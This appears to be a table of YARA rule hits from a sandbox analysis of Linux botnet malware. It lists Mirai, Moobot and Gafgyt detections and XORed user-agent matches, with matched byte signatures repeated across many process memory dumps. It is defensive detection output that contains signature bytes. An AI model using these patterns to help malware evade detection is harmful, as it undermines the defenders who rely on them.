6858.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6858.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6711.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6235.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6235.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6235.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6235.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6235.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6235.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6470.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6934.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7319.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7319.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7319.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7319.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7319.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7319.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7075.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7075.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7075.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7075.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7075.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7075.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6346.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6346.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6346.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6346.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6346.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6346.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6704.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6704.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6704.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6704.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6704.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6704.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7203.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7203.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
